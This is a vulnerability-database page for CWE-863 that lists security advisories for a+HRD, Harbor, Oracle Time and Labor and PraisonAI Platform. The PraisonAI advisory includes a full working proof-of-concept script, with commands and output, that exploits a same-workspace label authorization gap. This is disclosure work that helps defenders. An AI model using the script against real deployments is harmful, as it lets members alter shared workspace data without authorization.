Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

7151 vulnerabilities reference this CWE, most recent first.

GHSA-XX75-RCGC-PC97

Vulnerability from github – Published: 2022-04-08 00:00 – Updated: 2022-04-15 00:00
VLAI
Details

aEnrich a+HRD has inadequate privilege restrictions, an unauthenticated remote attacker can use the API function to upload and execute malicious scripts to control the system or disrupt service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-26676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-07T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "aEnrich a+HRD has inadequate privilege restrictions, an unauthenticated remote attacker can use the API function to upload and execute malicious scripts to control the system or disrupt service.",
  "id": "GHSA-xx75-rcgc-pc97",
  "modified": "2022-04-15T00:00:59Z",
  "published": "2022-04-08T00:00:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26676"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-5970-2f405-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XX9W-464F-7H6F

Vulnerability from github – Published: 2022-09-16 20:27 – Updated: 2024-11-19 16:25
VLAI
Summary
Harbor fails to validate the user permissions when updating a robot account
Details

Impact

Harbor fails to validate the user permissions when updating a robot account that belongs to a project that the authenticated user doesn’t have access to. API call:

PUT /robots/{robot_id}

By sending a request that attempts to update a robot account, and specifying a robot account id and robot account name that belongs to a different project that the user doesn’t have access to, it was possible to revoke the robot account permissions.

Patches

This and similar issues are fixed in Harbor v2.5.2 and later. Please upgrade as soon as possible.

Workarounds

There are no workarounds available.

For more information

If you have any questions or comments about this advisory: * Open an issue in the Harbor GitHub repository

Credits

Thanks to Gal Goldstein and Daniel Abeles from Oxeye Security for reporting this issue.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.10.12"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/goharbor/harbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.10.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/goharbor/harbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/goharbor/harbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "2.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-31667"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-16T20:27:13Z",
    "nvd_published_at": "2024-11-14T12:15:16Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nHarbor fails to validate the user permissions when updating a robot account that\nbelongs to a project that the authenticated user doesn\u2019t have access to. API call:\n\nPUT /robots/{robot_id}\n\nBy sending a request that attempts to update a robot account, and specifying a robot\naccount id and robot account name that belongs to a different project that the user\ndoesn\u2019t have access to, it was possible to revoke the robot account permissions.\n\n### Patches\nThis and similar issues are fixed in Harbor v2.5.2 and later. Please upgrade as soon as possible.\n\n### Workarounds\nThere are no workarounds available.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Harbor GitHub repository](https://github.com/goharbor/harbor)\n\n### Credits\nThanks to [Gal Goldstein](https://www.linkedin.com/in/gal-goldshtein/) and [Daniel Abeles](https://www.linkedin.com/in/daniel-abeles/) from [Oxeye Security](https://www.oxeye.io/) for reporting this issue.\n",
  "id": "GHSA-xx9w-464f-7h6f",
  "modified": "2024-11-19T16:25:22Z",
  "published": "2022-09-16T20:27:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/goharbor/harbor/security/advisories/GHSA-xx9w-464f-7h6f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31667"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/goharbor/harbor"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": " Harbor fails to validate the user permissions when updating a robot account"
}

GHSA-XXGF-X7HJ-4PF8

Vulnerability from github – Published: 2026-07-22 00:32 – Updated: 2026-07-22 00:32
VLAI
Details

Vulnerability in the Oracle Time and Labor product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Time and Labor. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Time and Labor accessible data as well as unauthorized access to critical data or complete access to all Oracle Time and Labor accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-60951"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:18:29Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Oracle Time and Labor product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Time and Labor.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Time and Labor accessible data as well as  unauthorized access to critical data or complete access to all Oracle Time and Labor accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).",
  "id": "GHSA-xxgf-x7hj-4pf8",
  "modified": "2026-07-22T00:32:08Z",
  "published": "2026-07-22T00:32:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60951"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XXGV-VGVJ-QVXH

Vulnerability from github – Published: 2026-10-08 21:58 – Updated: 2026-10-08 21:58
VLAI
Summary
PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorization
Details

Platform members can rewrite shared labels and owner issue labels without owner/admin authorization

Summary

praisonai-platform lets an ordinary workspace member rename and recolor shared labels and add/remove labels on an owner-created issue even though direct label deletion is restricted to workspace admin/owner authority in current releases.

Technical Details

The affected boundary is the difference between ordinary workspace membership and authority to mutate shared workspace triage taxonomy or owner-created issue workflow state. src/praisonai-platform/praisonai_platform/api/routes/labels.py defines PATCH /workspaces/{workspace_id}/labels/{label_id} with user: AuthIdentity = Depends(require_workspace_member). The route verifies the label belongs to the URL workspace, then calls LabelService.update(label_id, body.name, body.color), which writes the shared label name/color.

The paired label delete route shows a stricter intended boundary. DELETE /workspaces/{workspace_id}/labels/{label_id} also verifies the label belongs to the URL workspace, but then calls require_delete_permission(workspace_id, user, session) before deleting. require_delete_permission() allows workspace admins/owners, or a supplied resource_owner_id; because labels have no per-label owner passed to the helper, direct label deletion is effectively admin/owner-only. The local controls confirm that a normal member receives 403 for direct label deletion in current head, 0.1.6, and 0.1.8.

The issue-label link routes have the same under-authorized write boundary. POST /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id} and DELETE /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id} require only workspace membership after confirming the issue and label belong to the URL workspace. They then call LabelService.add_to_issue(issue_id, label_id) or LabelService.remove_from_issue(issue_id, label_id) without checking whether the caller owns the issue or has workspace admin/owner authority.

As a result, a member who cannot delete a label can still rename/recolor that shared label, remove it from an owner-created issue, and add it back. The non-member controls return 403, so this is not the older cross-workspace IDOR; it is a same-workspace owner/admin authorization gap that remains after workspace scoping checks.

PoV

the PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and an outsider; the owner creates a workspace, adds the member as a plain member, creates an owner issue, creates a label, and attaches the label to that issue. The member then attempts the direct label delete control and the three label write actions.

Essential excerpt:

member_delete_label = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}",
    headers=member_headers,
)

member_patch_label = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/labels/{label_id}",
    json={"name": "Member-controlled triage", "color": "#000000"},
    headers=member_headers,
)

member_remove_from_owner_issue = await client.delete(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}",
    headers=member_headers,
)

member_add_back_to_owner_issue = await client.post(
    f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}",
    headers=member_headers,
)

outsider_patch_label = await client.patch(
    f"/api/v1/workspaces/{workspace_id}/labels/{label_id}",
    json={"name": "Outsider attempt"},
    headers=outsider_headers,
)

The full PoV script is included in the appendix below.

PoC

Current head tested:

846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17 20:13:04 +0100
chore: clean up redundant 'persist-credentials' entries in GitHub workflows

Run against a local checkout of current head:

uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_label_authorization_bypass.py --repo ./PraisonAI --json

Decisive current-head output:

{
  "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
  "vulnerable": true,
  "checks": {
    "initial_owner_issue_labels": [
      "Owner triage"
    ],
    "member_direct_label_delete": 403,
    "member_patch_label": 200,
    "owner_observed_label_name_after_member_patch": "Member-controlled triage",
    "owner_observed_label_color_after_member_patch": "#000000",
    "member_remove_label_from_owner_issue": 204,
    "owner_issue_labels_after_member_remove": [],
    "member_add_label_to_owner_issue": 204,
    "owner_issue_labels_after_member_add": [
      "Member-controlled triage"
    ],
    "non_member_patch_label": 403,
    "non_member_add_label_to_issue": 403,
    "owner_delete_label": 204
  }
}

Run against the latest PyPI package observed during testing:

uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_label_authorization_bypass.py --json

Decisive latest-PyPI output:

{
  "source": "pypi:praisonai-platform==0.1.8",
  "vulnerable": true,
  "checks": {
    "member_direct_label_delete": 403,
    "member_patch_label": 200,
    "member_remove_label_from_owner_issue": 204,
    "member_add_label_to_owner_issue": 204,
    "non_member_patch_label": 403,
    "non_member_add_label_to_issue": 403
  }
}

Version sweep excerpt:

current git:846568c7a5d8ce9e71e56e4c213f027c04909753: vulnerable=true delete=403 patch=200 remove=204 add=204
pypi:praisonai-platform==0.1.8: vulnerable=true delete=403 patch=200 remove=204 add=204
pypi:praisonai-platform==0.1.6: vulnerable=true delete=403 patch=200 remove=204 add=204
pypi:praisonai-platform==0.1.4: vulnerable=false delete=204 patch=200 remove=204 add=204

The 0.1.4 result is not a clean negative. It means direct member label deletion still returned 204 in that sampled version, so the narrower post-delete-guard bypass is masked by broader older delete behavior.

Impact

An ordinary workspace member can alter shared triage labels and owner issue label assignments without admin/owner authority. In a shared PraisonAI Platform workspace, that lets a member silently change label meaning, remove labels from owner-created issues so they disappear from label-based filters or boards, and re-add arbitrary labels to owner-created issues. The impact is integrity loss over workflow and triage state rather than code execution or data exfiltration.

Suggested severity: Medium. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N (6.5). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality or availability impact.

Suggested Fix

Define explicit write authorization for labels and issue-label links instead of treating all workspace members as label administrators. A minimal fix is to require workspace admin/owner authority for PATCH /labels/{label_id}, POST /issues/{issue_id}/labels/{label_id}, and DELETE /issues/{issue_id}/labels/{label_id} when the target issue or shared label was not created by the caller.

If labels are intended to be collaboratively editable by all members, make that policy explicit and align delete/update/link behavior. Otherwise, mirror the direct label delete route's admin/owner boundary for label taxonomy updates and require issue owner/admin authority before mutating labels on an existing issue.

Add regression tests for these cases: a member cannot rename/recolor a shared label if label management is admin/owner-only; a member cannot remove or add labels on an owner-created issue; a workspace admin/owner can still manage labels; a non-member still receives 403; and direct label deletion remains protected.

Affected Package/Versions

Affected package: pypi:praisonai-platform.

Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.

The post-delete-guard label write authorization gap is confirmed in sampled versions 0.1.6, 0.1.8, and current head. In sampled 0.1.4, direct member label deletion already returned 204, so the narrower post-delete-guard bypass is masked by broader older same-workspace delete behavior.

Suggested affected range for the post-delete-guard bypass: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.

Advisory History

Visible PraisonAI Platform advisories include older label endpoint and same-workspace DELETE authorization reports. The closest overlap is the prior DELETE advisory; this report should be read as a remaining sibling/incomplete-fix style authorization gap where direct label deletion is now denied but label PATCH and issue-label link writes still succeed.

GHSA-5jx9-w35f-vp65 / CVE-2026-47414, "praisonai-platform: Label endpoints' unchecked label_id/issue_id enable cross-workspace label IDOR (edit, delete, link)", covers cross-workspace label operations in <=0.1.2 and lists 0.1.4 as patched. This report is distinct because the PoV uses a single workspace, current head verifies the issue and label belong to that workspace, non-members receive 403, and the unauthorized actor is a legitimate same-workspace member crossing the owner/admin write boundary.

GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers same-workspace member DELETE access to projects, agents, issues, labels, issue dependencies, and issue-label attachments. This report overlaps that advisory on the issue-label attachment removal symptom, but the current PoV also shows the direct label DELETE path now returns 403 in current head, 0.1.6, and 0.1.8 while the sibling label PATCH and issue-label add/remove routes still return 200/204. If maintainers track the remaining issue-label DELETE behavior under GHSA-rh39-9c67-59mh, the new material here is the surviving shared-label PATCH authorization gap plus the post-delete-guard add/remove behavior demonstrated against current head and latest PyPI.

GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers issue create/update accepting a body-supplied foreign project_id and polluting another workspace's project statistics. This report is distinct because it does not use cross-workspace body references or project statistics; it uses a legitimate member inside the same workspace to mutate shared label taxonomy and owner issue-label state.

GHSA-gv23-xrm3-8c62 covers older systemic cross-workspace object lookup and privilege escalation behavior. This report does not require foreign workspace ids or member-role escalation.

GHSA-xwq8-frcg-77q8 covers older issue endpoint cross-workspace IDOR. This report targets label taxonomy and issue-label association write authorization.

References

  • https://github.com/advisories/GHSA-5jx9-w35f-vp65
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x
  • https://github.com/advisories/GHSA-gv23-xrm3-8c62
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8
  • https://cwe.mitre.org/data/definitions/862.html
  • https://cwe.mitre.org/data/definitions/863.html

Appendix A - Full PoV Script

Save this as pov_platform_label_authorization_bypass.py before running the PoC commands above.

#!/usr/bin/env python3
"""PoV for PraisonAI Platform label authorization gaps."""

from __future__ import annotations

import argparse
import asyncio
import json
import os
import subprocess
import sys
from pathlib import Path
from typing import Any


def _load_local_source(repo: Path | None) -> None:
    if repo is None:
        return
    platform_root = repo / "src" / "praisonai-platform"
    agents_root = repo / "src" / "praisonai-agents"
    for path in (str(platform_root), str(agents_root)):
        if path not in sys.path:
            sys.path.insert(0, path)


async def _register(client: Any, email: str, name: str) -> tuple[str, str]:
    response = await client.post(
        "/api/v1/auth/register",
        json={"email": email, "password": "Password1!", "name": name},
    )
    if response.status_code >= 400:
        raise RuntimeError(f"register failed for {email}: {response.status_code} {response.text}")
    body = response.json()
    return body["token"], body["user"]["id"]


async def _create_issue(
    client: Any,
    workspace_id: str,
    headers: dict[str, str],
    title: str,
) -> str:
    response = await client.post(
        f"/api/v1/workspaces/{workspace_id}/issues/",
        json={"title": title, "priority": "high"},
        headers=headers,
    )
    response.raise_for_status()
    return response.json()["id"]


async def _issue_label_names(
    client: Any,
    workspace_id: str,
    issue_id: str,
    headers: dict[str, str],
) -> list[str]:
    response = await client.get(
        f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels",
        headers=headers,
    )
    response.raise_for_status()
    return [label["name"] for label in response.json()]


async def _run(repo: Path | None) -> dict[str, Any]:
    os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum"
    _load_local_source(repo)

    from httpx import ASGITransport, AsyncClient
    from sqlalchemy.ext.asyncio import create_async_engine

    from praisonai_platform.api.app import create_app
    from praisonai_platform.db import base as base_mod
    from praisonai_platform.db.base import Base, reset_engine

    await reset_engine()
    engine = create_async_engine(
        "sqlite+aiosqlite:///:memory:",
        echo=False,
        connect_args={"check_same_thread": False},
    )
    base_mod._engine = engine
    base_mod._session_factory = None
    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

    app = create_app()
    transport = ASGITransport(app=app)
    async with AsyncClient(transport=transport, base_url="http://local-poc") as client:
        owner_token, _owner_id = await _register(client, "owner@example.com", "Owner")
        member_token, member_id = await _register(client, "member@example.com", "Member")
        outsider_token, _outsider_id = await _register(
            client, "outsider@example.com", "Outsider"
        )

        owner_headers = {"Authorization": f"Bearer {owner_token}"}
        member_headers = {"Authorization": f"Bearer {member_token}"}
        outsider_headers = {"Authorization": f"Bearer {outsider_token}"}

        ws_resp = await client.post(
            "/api/v1/workspaces/",
            json={"name": "Shared Workspace", "slug": "shared-workspace"},
            headers=owner_headers,
        )
        ws_resp.raise_for_status()
        workspace_id = ws_resp.json()["id"]

        add_member = await client.post(
            f"/api/v1/workspaces/{workspace_id}/members",
            json={"user_id": member_id, "role": "member"},
            headers=owner_headers,
        )
        add_member.raise_for_status()

        owner_issue_id = await _create_issue(
            client, workspace_id, owner_headers, "Owner issue"
        )

        label_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/labels",
            json={"name": "Owner triage", "color": "#ff0000"},
            headers=owner_headers,
        )
        label_resp.raise_for_status()
        label_id = label_resp.json()["id"]

        owner_delete_control_label_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/labels",
            json={"name": "Owner delete control", "color": "#00ff00"},
            headers=owner_headers,
        )
        owner_delete_control_label_resp.raise_for_status()
        owner_delete_control_label_id = owner_delete_control_label_resp.json()["id"]

        member_delete_control_label_resp = await client.post(
            f"/api/v1/workspaces/{workspace_id}/labels",
            json={"name": "Member delete control", "color": "#0000ff"},
            headers=owner_headers,
        )
        member_delete_control_label_resp.raise_for_status()
        member_delete_control_label_id = member_delete_control_label_resp.json()["id"]

        owner_attach = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}",
            headers=owner_headers,
        )
        owner_attach.raise_for_status()
        initial_issue_labels = await _issue_label_names(
            client, workspace_id, owner_issue_id, owner_headers
        )

        member_delete_label = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}",
            headers=member_headers,
        )

        member_patch_label = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/labels/{label_id}",
            json={"name": "Member-controlled triage", "color": "#000000"},
            headers=member_headers,
        )
        owner_label_list_after_patch = await client.get(
            f"/api/v1/workspaces/{workspace_id}/labels",
            headers=owner_headers,
        )

        member_remove_from_owner_issue = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}",
            headers=member_headers,
        )
        labels_after_member_remove = await _issue_label_names(
            client, workspace_id, owner_issue_id, owner_headers
        )

        member_add_back_to_owner_issue = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}",
            headers=member_headers,
        )
        labels_after_member_add = await _issue_label_names(
            client, workspace_id, owner_issue_id, owner_headers
        )

        outsider_patch_label = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/labels/{label_id}",
            json={"name": "Outsider attempt"},
            headers=outsider_headers,
        )
        outsider_add_to_issue = await client.post(
            f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}",
            headers=outsider_headers,
        )

        owner_delete_label = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/labels/{owner_delete_control_label_id}",
            headers=owner_headers,
        )

    await engine.dispose()
    base_mod._engine = None
    base_mod._session_factory = None

    owner_labels = (
        owner_label_list_after_patch.json()
        if owner_label_list_after_patch.status_code == 200
        else []
    )
    owner_observed_label = owner_labels[0] if owner_labels else {}
    checks = {
        "initial_owner_issue_labels": initial_issue_labels,
        "member_direct_label_delete": member_delete_label.status_code,
        "member_patch_label": member_patch_label.status_code,
        "owner_observed_label_name_after_member_patch": owner_observed_label.get("name"),
        "owner_observed_label_color_after_member_patch": owner_observed_label.get("color"),
        "member_remove_label_from_owner_issue": member_remove_from_owner_issue.status_code,
        "owner_issue_labels_after_member_remove": labels_after_member_remove,
        "member_add_label_to_owner_issue": member_add_back_to_owner_issue.status_code,
        "owner_issue_labels_after_member_add": labels_after_member_add,
        "non_member_patch_label": outsider_patch_label.status_code,
        "non_member_add_label_to_issue": outsider_add_to_issue.status_code,
        "owner_delete_label": owner_delete_label.status_code,
    }
    vulnerable = (
        checks["initial_owner_issue_labels"] == ["Owner triage"]
        and checks["member_direct_label_delete"] == 403
        and checks["member_patch_label"] == 200
        and checks["owner_observed_label_name_after_member_patch"]
        == "Member-controlled triage"
        and checks["owner_observed_label_color_after_member_patch"] == "#000000"
        and checks["member_remove_label_from_owner_issue"] == 204
        and checks["owner_issue_labels_after_member_remove"] == []
        and checks["member_add_label_to_owner_issue"] == 204
        and checks["owner_issue_labels_after_member_add"] == ["Member-controlled triage"]
        and checks["non_member_patch_label"] == 403
        and checks["non_member_add_label_to_issue"] == 403
        and checks["owner_delete_label"] == 204
    )
    return {
        "package": "praisonai-platform",
        "source": _source_id(repo),
        "workspace_role": "member",
        "summary": (
            "A workspace member can rewrite shared label taxonomy and add/remove labels "
            "on an owner-created issue even though direct label deletion is owner/admin-only."
        ),
        "issue_id": owner_issue_id,
        "label_id": label_id,
        "checks": checks,
        "vulnerable": vulnerable,
    }


def _source_id(repo: Path | None) -> str:
    if repo is None:
        import importlib.metadata

        return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}"
    rev = subprocess.check_output(
        ["git", "-C", str(repo), "rev-parse", "HEAD"],
        text=True,
    ).strip()
    return f"git:{rev}"


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--repo", type=Path)
    parser.add_argument("--json", action="store_true")
    args = parser.parse_args()

    result = asyncio.run(_run(args.repo.resolve() if args.repo else None))
    if args.json:
        print(json.dumps(result, indent=2, sort_keys=True))
    else:
        for key, value in result["checks"].items():
            print(f"{key}: {value}")
        print(f"vulnerable: {result['vulnerable']}")
    return 0 if result["vulnerable"] else 1


if __name__ == "__main__":
    raise SystemExit(main())
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.8"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61440"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T21:58:27Z",
    "nvd_published_at": "2026-07-15T17:16:52Z",
    "severity": "MODERATE"
  },
  "details": "# Platform members can rewrite shared labels and owner issue labels without owner/admin authorization\n\n## Summary\n\n`praisonai-platform` lets an ordinary workspace member rename and recolor shared labels and add/remove labels on an owner-created issue even though direct label deletion is restricted to workspace admin/owner authority in current releases.\n\n## Technical Details\n\nThe affected boundary is the difference between ordinary workspace membership and authority to mutate shared workspace triage taxonomy or owner-created issue workflow state. `src/praisonai-platform/praisonai_platform/api/routes/labels.py` defines `PATCH /workspaces/{workspace_id}/labels/{label_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. The route verifies the label belongs to the URL workspace, then calls `LabelService.update(label_id, body.name, body.color)`, which writes the shared label name/color.\n\nThe paired label delete route shows a stricter intended boundary. `DELETE /workspaces/{workspace_id}/labels/{label_id}` also verifies the label belongs to the URL workspace, but then calls `require_delete_permission(workspace_id, user, session)` before deleting. `require_delete_permission()` allows workspace admins/owners, or a supplied `resource_owner_id`; because labels have no per-label owner passed to the helper, direct label deletion is effectively admin/owner-only. The local controls confirm that a normal member receives `403` for direct label deletion in current head, `0.1.6`, and `0.1.8`.\n\nThe issue-label link routes have the same under-authorized write boundary. `POST /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` and `DELETE /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` require only workspace membership after confirming the issue and label belong to the URL workspace. They then call `LabelService.add_to_issue(issue_id, label_id)` or `LabelService.remove_from_issue(issue_id, label_id)` without checking whether the caller owns the issue or has workspace admin/owner authority.\n\nAs a result, a member who cannot delete a label can still rename/recolor that shared label, remove it from an owner-created issue, and add it back. The non-member controls return `403`, so this is not the older cross-workspace IDOR; it is a same-workspace owner/admin authorization gap that remains after workspace scoping checks.\n\n## PoV\n\nthe PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and an outsider; the owner creates a workspace, adds the member as a plain `member`, creates an owner issue, creates a label, and attaches the label to that issue. The member then attempts the direct label delete control and the three label write actions.\n\nEssential excerpt:\n\n```python\nmember_delete_label = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}\",\n    headers=member_headers,\n)\n\nmember_patch_label = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n    json={\"name\": \"Member-controlled triage\", \"color\": \"#000000\"},\n    headers=member_headers,\n)\n\nmember_remove_from_owner_issue = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n    headers=member_headers,\n)\n\nmember_add_back_to_owner_issue = await client.post(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n    headers=member_headers,\n)\n\noutsider_patch_label = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n    json={\"name\": \"Outsider attempt\"},\n    headers=outsider_headers,\n)\n```\n\nThe full PoV script is included in the appendix below.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n2026-06-17 20:13:04 +0100\nchore: clean up redundant \u0027persist-credentials\u0027 entries in GitHub workflows\n```\n\nRun against a local checkout of current head:\n\n```sh\nuv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_label_authorization_bypass.py --repo ./PraisonAI --json\n```\n\nDecisive current-head output:\n\n```json\n{\n  \"source\": \"git:846568c7a5d8ce9e71e56e4c213f027c04909753\",\n  \"vulnerable\": true,\n  \"checks\": {\n    \"initial_owner_issue_labels\": [\n      \"Owner triage\"\n    ],\n    \"member_direct_label_delete\": 403,\n    \"member_patch_label\": 200,\n    \"owner_observed_label_name_after_member_patch\": \"Member-controlled triage\",\n    \"owner_observed_label_color_after_member_patch\": \"#000000\",\n    \"member_remove_label_from_owner_issue\": 204,\n    \"owner_issue_labels_after_member_remove\": [],\n    \"member_add_label_to_owner_issue\": 204,\n    \"owner_issue_labels_after_member_add\": [\n      \"Member-controlled triage\"\n    ],\n    \"non_member_patch_label\": 403,\n    \"non_member_add_label_to_issue\": 403,\n    \"owner_delete_label\": 204\n  }\n}\n```\n\nRun against the latest PyPI package observed during testing:\n\n```sh\nuv run --with \u0027praisonai-platform==0.1.8\u0027 --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_label_authorization_bypass.py --json\n```\n\nDecisive latest-PyPI output:\n\n```json\n{\n  \"source\": \"pypi:praisonai-platform==0.1.8\",\n  \"vulnerable\": true,\n  \"checks\": 